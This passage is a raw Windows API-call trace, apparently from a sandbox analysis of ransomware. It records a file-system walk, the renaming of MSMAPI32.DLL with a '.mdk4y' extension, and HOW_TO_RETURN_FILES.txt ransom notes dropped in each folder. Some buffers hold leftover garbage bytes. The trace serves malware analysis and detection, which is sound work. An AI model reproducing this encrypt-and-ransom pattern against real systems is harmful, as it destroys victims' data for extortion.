lpUsedDefaultChar=0x37df4c) returned 2 [0125.153] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.153] AreFileApisANSI () returned 1 [0125.153] GetACP () returned 0x4e4 [0125.153] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="adcjavas.inc", cchWideChar=12, lpMultiByteStr=0x6aaeac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="adcjavas.incfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pðnk", lpUsedDefaultChar=0x37df4c) returned 12 [0125.153] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.154] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.154] AreFileApisANSI () returned 1 [0125.154] GetACP () returned 0x4e4 [0125.154] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="adcvbs.inc", cchWideChar=10, lpMultiByteStr=0x6aaeac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="adcvbs.incnc", lpUsedDefaultChar=0x37df4c) returned 10 [0125.154] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.154] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.154] AreFileApisANSI () returned 1 [0125.154] GetACP () returned 0x4e4 [0125.154] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x6aaeac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="en-USs.inc", lpUsedDefaultChar=0x37df4c) returned 5 [0125.154] AreFileApisANSI () returned 1 [0125.154] GetACP () returned 0x4e4 [0125.154] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=49, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\") returned 49 [0125.270] AreFileApisANSI () returned 1 [0125.270] GetACP () returned 0x4e4 [0125.270] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dec0) returned 1 [0125.270] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.271] AreFileApisANSI () returned 1 [0125.271] GetACP () returned 0x4e4 [0125.271] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dec0) returned 2 [0125.271] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.271] AreFileApisANSI () returned 1 [0125.271] GetACP () returned 0x4e4 [0125.271] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="msadcer.dll.mui", cchWideChar=15, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="msadcer.dll.mui", lpUsedDefaultChar=0x37dec0) returned 15 [0125.271] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcer.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.271] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.271] AreFileApisANSI () returned 1 [0125.271] GetACP () returned 0x4e4 [0125.272] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="msadcfr.dll.mui", cchWideChar=15, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="msadcfr.dll.mui", lpUsedDefaultChar=0x37dec0) returned 15 [0125.272] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcfr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcfr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.272] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.272] AreFileApisANSI () returned 1 [0125.272] GetACP () returned 0x4e4 [0125.272] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="msadcor.dll.mui", cchWideChar=15, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="msadcor.dll.mui", lpUsedDefaultChar=0x37dec0) returned 15 [0125.272] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcor.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.272] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.272] AreFileApisANSI () returned 1 [0125.272] GetACP () returned 0x4e4 [0125.272] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="msaddsr.dll.mui", cchWideChar=15, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="msaddsr.dll.mui", lpUsedDefaultChar=0x37dec0) returned 15 [0125.272] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msaddsr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.273] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.273] AreFileApisANSI () returned 1 [0125.273] GetACP () returned 0x4e4 [0125.273] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="msdaprsr.dll.mui", cchWideChar=16, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="msdaprsr.dll.muio", lpUsedDefaultChar=0x37dec0) returned 16 [0125.273] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaprsr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.273] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.273] AreFileApisANSI () returned 1 [0125.273] GetACP () returned 0x4e4 [0125.273] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="msdaremr.dll.mui", cchWideChar=16, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="msdaremr.dll.mui", lpUsedDefaultChar=0x37dec0) returned 16 [0125.273] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaremr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.273] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 0 [0125.274] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0125.274] AreFileApisANSI () returned 1 [0125.274] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b7378, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 73 [0125.274] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0125.275] GetFileType (hFile=0x130) returned 0x1 [0125.276] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.276] AreFileApisANSI () returned 1 [0125.276] GetACP () returned 0x4e4 [0125.276] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="handler.reg", cchWideChar=11, lpMultiByteStr=0x6aaeac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="handler.regc", lpUsedDefaultChar=0x37df4c) returned 11 [0125.276] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\handler.reg" (normalized: "c:\\program files\\common files\\system\\msadc\\handler.reg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.277] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.277] AreFileApisANSI () returned 1 [0125.277] GetACP () returned 0x4e4 [0125.277] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="handsafe.reg", cchWideChar=12, lpMultiByteStr=0x6aaeac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="handsafe.reg", lpUsedDefaultChar=0x37df4c) returned 12 [0125.277] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\handsafe.reg" (normalized: "c:\\program files\\common files\\system\\msadc\\handsafe.reg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.277] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.277] AreFileApisANSI () returned 1 [0125.277] GetACP () returned 0x4e4 [0125.277] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="msadce.dll", cchWideChar=10, lpMultiByteStr=0x6aaeac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="msadce.dlleg", lpUsedDefaultChar=0x37df4c) returned 10 [0125.277] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.277] AreFileApisANSI () returned 1 [0125.277] GetACP () returned 0x4e4 [0125.277] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="msadcer.dll", cchWideChar=11, lpMultiByteStr=0x6aaeac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="msadcer.dllg", lpUsedDefaultChar=0x37df4c) returned 11 [0125.277] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.277] AreFileApisANSI () returned 1 [0125.277] GetACP () returned 0x4e4 [0125.277] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="msadcf.dll", cchWideChar=10, lpMultiByteStr=0x6aaeac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="msadcf.dlll", lpUsedDefaultChar=0x37df4c) returned 10 [0125.278] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.278] AreFileApisANSI () returned 1 [0125.278] GetACP () returned 0x4e4 [0125.278] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="msadcfr.dll", cchWideChar=11, lpMultiByteStr=0x6aaeac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="msadcfr.dll", lpUsedDefaultChar=0x37df4c) returned 11 [0125.278] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.278] AreFileApisANSI () returned 1 [0125.278] GetACP () returned 0x4e4 [0125.278] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="msadco.dll", cchWideChar=10, lpMultiByteStr=0x6aaeac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="msadco.dlll", lpUsedDefaultChar=0x37df4c) returned 10 [0125.278] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.278] AreFileApisANSI () returned 1 [0125.278] GetACP () returned 0x4e4 [0125.278] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="msadcor.dll", cchWideChar=11, lpMultiByteStr=0x6aaeac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="msadcor.dll", lpUsedDefaultChar=0x37df4c) returned 11 [0125.278] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.278] AreFileApisANSI () returned 1 [0125.278] GetACP () returned 0x4e4 [0125.278] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="msadcs.dll", cchWideChar=10, lpMultiByteStr=0x6aaeac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="msadcs.dlll", lpUsedDefaultChar=0x37df4c) returned 10 [0125.278] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.278] AreFileApisANSI () returned 1 [0125.278] GetACP () returned 0x4e4 [0125.278] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="msadds.dll", cchWideChar=10, lpMultiByteStr=0x6aaeac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="msadds.dll", lpUsedDefaultChar=0x37df4c) returned 10 [0125.278] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.278] AreFileApisANSI () returned 1 [0125.278] GetACP () returned 0x4e4 [0125.278] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="msaddsr.dll", cchWideChar=11, lpMultiByteStr=0x6aaeac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="msaddsr.dll", lpUsedDefaultChar=0x37df4c) returned 11 [0125.278] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.278] AreFileApisANSI () returned 1 [0125.278] GetACP () returned 0x4e4 [0125.278] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="msdaprsr.dll", cchWideChar=12, lpMultiByteStr=0x6aaeac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="msdaprsr.dll", lpUsedDefaultChar=0x37df4c) returned 12 [0125.278] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.278] AreFileApisANSI () returned 1 [0125.278] GetACP () returned 0x4e4 [0125.278] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="msdaprst.dll", cchWideChar=12, lpMultiByteStr=0x6aaeac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="msdaprst.dll", lpUsedDefaultChar=0x37df4c) returned 12 [0125.278] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.278] AreFileApisANSI () returned 1 [0125.278] GetACP () returned 0x4e4 [0125.279] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="msdarem.dll", cchWideChar=11, lpMultiByteStr=0x6aaeac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="msdarem.dlll", lpUsedDefaultChar=0x37df4c) returned 11 [0125.279] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.279] AreFileApisANSI () returned 1 [0125.279] GetACP () returned 0x4e4 [0125.279] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="msdaremr.dll", cchWideChar=12, lpMultiByteStr=0x6aaeac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="msdaremr.dll", lpUsedDefaultChar=0x37df4c) returned 12 [0125.279] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.279] AreFileApisANSI () returned 1 [0125.279] GetACP () returned 0x4e4 [0125.279] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="msdfmap.dll", cchWideChar=11, lpMultiByteStr=0x6aaeac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="msdfmap.dlll", lpUsedDefaultChar=0x37df4c) returned 11 [0125.279] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 0 [0125.279] FindClose (in: hFindFile=0x6ab310 | out: hFindFile=0x6ab310) returned 1 [0125.279] AreFileApisANSI () returned 1 [0125.279] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6a98f0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 67 [0125.279] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\system\\msadc\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dc84, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0125.279] GetFileType (hFile=0x12c) returned 0x1 [0125.280] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0125.280] AreFileApisANSI () returned 1 [0125.280] GetACP () returned 0x4e4 [0125.280] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSMAPI", cchWideChar=6, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="MSMAPIDB.dll", lpUsedDefaultChar=0x37dfd8) returned 6 [0125.280] AreFileApisANSI () returned 1 [0125.280] GetACP () returned 0x4e4 [0125.280] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x699960, cbMultiByte=44, lpWideCharStr=0x37dd6c, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\System\\MSMAPI\\") returned 44 [0125.281] AreFileApisANSI () returned 1 [0125.281] GetACP () returned 0x4e4 [0125.281] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aaeac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pðnk", lpUsedDefaultChar=0x37df4c) returned 1 [0125.281] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.281] AreFileApisANSI () returned 1 [0125.281] GetACP () returned 0x4e4 [0125.281] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aaeac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pðnk", lpUsedDefaultChar=0x37df4c) returned 2 [0125.281] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.281] AreFileApisANSI () returned 1 [0125.281] GetACP () returned 0x4e4 [0125.281] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1033", cchWideChar=4, lpMultiByteStr=0x6aaeac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="1033f+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pðnk", lpUsedDefaultChar=0x37df4c) returned 4 [0125.281] AreFileApisANSI () returned 1 [0125.281] GetACP () returned 0x4e4 [0125.281] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=49, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\7滰k㑚ĺ꺘j饠i-") returned 49 [0125.282] AreFileApisANSI () returned 1 [0125.282] GetACP () returned 0x4e4 [0125.282] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dec0) returned 1 [0125.282] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.282] AreFileApisANSI () returned 1 [0125.282] GetACP () returned 0x4e4 [0125.282] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dec0) returned 2 [0125.282] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.282] AreFileApisANSI () returned 1 [0125.282] GetACP () returned 0x4e4 [0125.282] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSMAPI32.DLL", cchWideChar=12, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="MSMAPI32.DLL\\", lpUsedDefaultChar=0x37dec0) returned 12 [0125.282] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL" (normalized: "c:\\program files\\common files\\system\\msmapi\\1033\\msmapi32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0125.282] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1820051200000) returned 1 [0125.282] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xe580, lpOverlapped=0x0) returned 1 [0125.368] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1820059800000) returned 1 [0125.369] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1820059900000) returned 1 [0125.369] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL" (normalized: "c:\\program files\\common files\\system\\msmapi\\1033\\msmapi32.dll"), lpNewFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL.mdk4y" (normalized: "c:\\program files\\common files\\system\\msmapi\\1033\\msmapi32.dll.mdk4y")) returned 1 [0125.370] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 0 [0125.370] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0125.370] AreFileApisANSI () returned 1 [0125.370] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b7378, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 73 [0125.370] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\system\\msmapi\\1033\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0125.371] GetFileType (hFile=0x130) returned 0x1 [0125.371] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 0 [0125.372] FindClose (in: hFindFile=0x6ab310 | out: 